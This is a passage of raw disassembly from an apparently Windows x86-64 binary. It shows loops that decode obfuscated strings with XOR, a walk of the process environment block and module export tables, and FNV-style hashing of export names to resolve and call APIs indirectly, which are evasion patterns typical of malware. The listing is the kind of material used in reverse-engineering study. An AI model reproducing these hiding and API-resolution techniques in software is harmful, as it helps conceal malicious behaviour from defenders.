inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140012900
cmp byte [rbp + 0x652], 0
je 0x140012aa3
mov r8d, edi
cmp r15d, 2
jl 0x140012a5a
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x628]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x140012962
cmp r8d, 0x2b
jge 0x140012aa3
movsxd rax, r8d
lea r9, [rbp + 0x628]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140012a70
lea rax, [rbp + 0x628]
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140012ab0
lea rdx, [rbp + 0x628]
lea rcx, [rbp + 0x7f0]
call fcn.1400197f0
cmp byte [rbp + 0x652], 0
jne 0x140012c43
mov r8d, edi
cmp r15d, 2
jl 0x140012bf8
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x628]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x140012b00
cmp r8d, 0x2b
jge 0x140012c43
movsxd rax, r8d
lea r9, [rbp + 0x628]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140012c10
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x2e0]
call fcn.1400199e0
mov rcx, rax
call fcn.140001f10
xor edx, edx
lea rcx, [rbp + 0x7f0]
call fcn.140019b20
nop
lea rcx, [rbp + 0x7f0]
call fcn.140019910
lea rdx, [rbp + 0x8e0]
lea rcx, [rbp + 0x2c0]
call fcn.1400199e0
mov rsi, rax
mov qword [rbp - 0x60], rax
movups xmm0, xmmword [str.__1.:_6_]
movups xmmword [rbp + 0x810], xmm0
movups xmm1, xmmword [0x14001dc78]
movups xmmword [rbp + 0x820], xmm1
movups xmm0, xmmword [0x14001dc88]
movups xmmword [rbp + 0x830], xmm0
mov ecx, dword [0x14001dc98]
mov dword [rbp + 0x840], ecx
movzx eax, word [0x14001dc9c]
mov word [rbp + 0x844], ax
movzx r10d, byte [0x14001dc9e]
mov byte [rbp + 0x846], r10b
movups xmm0, xmmword [str.uxv_7]
movups xmmword [rbp + 0x568], xmm0
mov ecx, dword [0x14001dc60]
mov dword [rbp + 0x578], ecx
movzx eax, word [0x14001dc64]
mov word [rbp + 0x57c], ax
shr ax, 8
test al, al
je 0x140012f93
mov r8d, edi
cmp r15d, 2
jl 0x140012f53
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x568]
xorps xmm2, xmm1
movd dword [rbp + 0x568], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x56c]
xorps xmm2, xmm1
movd dword [rbp + 0x56c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x570]
xorps xmm2, xmm1
movd dword [rbp + 0x570], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x574]
xorps xmm2, xmm1
movd dword [rbp + 0x574], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x578], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x568]
add r9, rax
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140012f60
test r10b, r10b
je 0x140013103
mov r8d, edi
cmp r15d, 2
jl 0x1400130b8
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x810]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x140012fc0
cmp r8d, 0x37
jge 0x140013103
movsxd rax, r8d
lea r9, [rbp + 0x810]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x1400130d0
mov r8, rsi
lea rdx, [rbp + 0x810]
lea rcx, [rbp + 0x2a0]
call fcn.14001a040
nop
lea r8, [rbp + 0x568]
mov rdx, rax
lea rcx, [rbp + 0x980]
call fcn.140019f20
nop
lea rcx, [rbp + 0x2a0]
call fcn.140019910
cmp byte [rbp + 0x846], 0
jne 0x1400132b3
mov r8d, edi
cmp r15d, 2
jl 0x140013268
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x810]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x30
jl 0x140013170
cmp r8d, 0x37
jge 0x1400132b3
movsxd rax, r8d
lea r9, [rbp + 0x810]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140013280
cmp byte [rbp + 0x57d], 0
jne 0x140013543
mov r8d, edi
cmp r15d, 2
jl 0x1400134fd
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x568]
xorps xmm2, xmm1
movd dword [rbp + 0x568], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x56c]
xorps xmm2, xmm1
movd dword [rbp + 0x56c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x570]
xorps xmm2, xmm1
movd dword [rbp + 0x570], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x574]
xorps xmm2, xmm1
movd dword [rbp + 0x574], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x578]
xorps xmm2, xmm1
movd dword [rbp + 0x578], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x568]
add r9, rax
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140013510
lea rcx, [rbp + 0x920]
call fcn.140019b00
nop
mov rbx, qword [rbp + 0x990]
lea rcx, [rbp + 0x980]
call fcn.140019630
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x920]
call fcn.1400197f0
lea rcx, [rbp + 0x920]
call fcn.140019630
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r11d, dword [rdx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140013614
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140013614
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0xf2d25468
movzx eax, byte [r8]
inc r8
test al, al
je 0x14001360f
nop
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [r8]
lea r8, [r8 + 1]
test al, al
jne 0x1400135f0
cmp edx, 0x70efbd69
je 0x140013619
test r9d, r9d
jne 0x1400135d0
mov rcx, qword [rcx]
jmp 0x1400135a0
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov rcx, r14
call rax
xor edx, edx
lea rcx, [rbp + 0x920]
call fcn.140019b20
xor edx, edx
lea rcx, [rbp + 0x980]
call fcn.140019b20
nop
lea rcx, [rbp + 0x920]
call fcn.140019910
nop
lea rcx, [rbp + 0x980]
call fcn.140019910
nop
mov rcx, rsi
call fcn.140019910
mov r14d, 4
jmp 0x140014a26
mov rax, qword [0x140021788]
test rax, rax
jne 0x140013744
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rsi, r11
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x140013727
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x140013727
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + rbx]
add rdx, r9
mov ecx, 0xf3886891
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140013722
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140013700
cmp ecx, 0xe66c7881
je 0x140013dd1
test r8d, r8d
jne 0x1400136e0
mov r11, qword [r11]
cmp r11, rsi
je 0x14001373a
cmp qword [r11 + 0x30], 0
jne 0x1400136b0
mov rax, rdi
mov qword [0x140021788], rax
mov r8d, 0x104
lea rdx, [rbp + 0xab10]
xor ecx, ecx
call rax
lea rdx, [rbp + 0xab10]
lea rcx, [rbp + 0xa00]
call fcn.1400199a0
nop
mov r12, 0xffffffffffffffff
mov r15d, dword [0x140021090]
movdqa xmm8, xmmword [0x14001dd40]
movdqa xmm12, xmmword [0x14001dd50]
movdqa xmm9, xmmword [str.IIII]
movdqa xmm6, xmmword [0x14001dd60]
movdqa xmm7, xmmword [0x14001dcd0]
movdqa xmm10, xmmword [0x14001dcf0]
movdqa xmm11, xmmword [0x14001dce0]
movdqa xmm14, xmmword [0x14001dd10]
movdqa xmm13, xmmword [0x14001dd00]
cmp qword [rbp + 0xa10], 0
je 0x14001454e
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0xac0]
call fcn.1400199e0
nop
movups xmm0, xmmword [0x14001db60]
movups xmmword [rbp + 0x8b0], xmm0
movups xmm1, xmmword [0x14001db70]
movups xmmword [rbp + 0x8c0], xmm1
movups xmm0, xmmword [0x14001db80]
movups xmmword [rbp + 0x8d0], xmm0
mov byte [rbp + 0x4bc], 0x57
movups xmm2, xmmword [str.pxt_r2291_3]
movups xmmword [rbp - 0x48], xmm2
mov edx, dword [0x14001d7a0]
mov dword [rbp - 0x38], edx
movzx eax, word [0x14001d7a4]
mov word [rbp - 0x34], ax
movzx eax, byte [0x14001d7a6]
mov byte [rbp - 0x32], al
mov r8d, edi
cmp r15d, 2
jl 0x140013a63
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm12
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x48], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x44]
xorps xmm2, xmm1
movd dword [rbp - 0x44], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x40]
xorps xmm2, xmm1
movd dword [rbp - 0x40], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
xorps xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm14
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp - 0x38], xmm2
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp - 0x48]
add r9, rax
nop dword [rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140013a70
movups xmm0, xmmword [0x14001d740]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x14001d750]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x14001d760]
movsd qword [rbp], xmm0
mov eax, dword [0x14001d768]
mov dword [rbp + 8], eax
movzx eax, word [0x14001d76c]
mov word [rbp + 0xc], ax
movzx eax, byte [0x14001d76e]
mov byte [rbp + 0xe], al
mov r8d, edi
cmp r15d, 2
jl 0x140013c08
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp - 0x20]
mov edx, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 6
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x28
jl 0x140013b10
cmp r8d, 0x2f
jge 0x140013c53
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xe070381d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x49
movzx eax, r8b
sub al, cl
add al, 0x57
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140013c20
lea r8, [rbp + 0xac0]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x260]
call fcn.14001a040
nop
lea r8, [rbp - 0x48]
mov rdx, rax
lea rcx, [rbp + 0x960]
call fcn.140019f20
nop
lea rcx, [rbp + 0x260]
call fcn.140019910
movups xmm0, xmmword [str.35____:]
movups xmmword [rbp + 0x500], xmm0
movzx eax, word [0x14001d770]
mov word [rbp + 0x490], ax
cmp byte [rbp + 0x8df], 0
je 0x140013e32
mov r8d, edi
cmp r15d, 2
jl 0x140013def
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm12
lea rcx, [rbp + 0x8b0]
mov r8d, r14d
mov r9d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
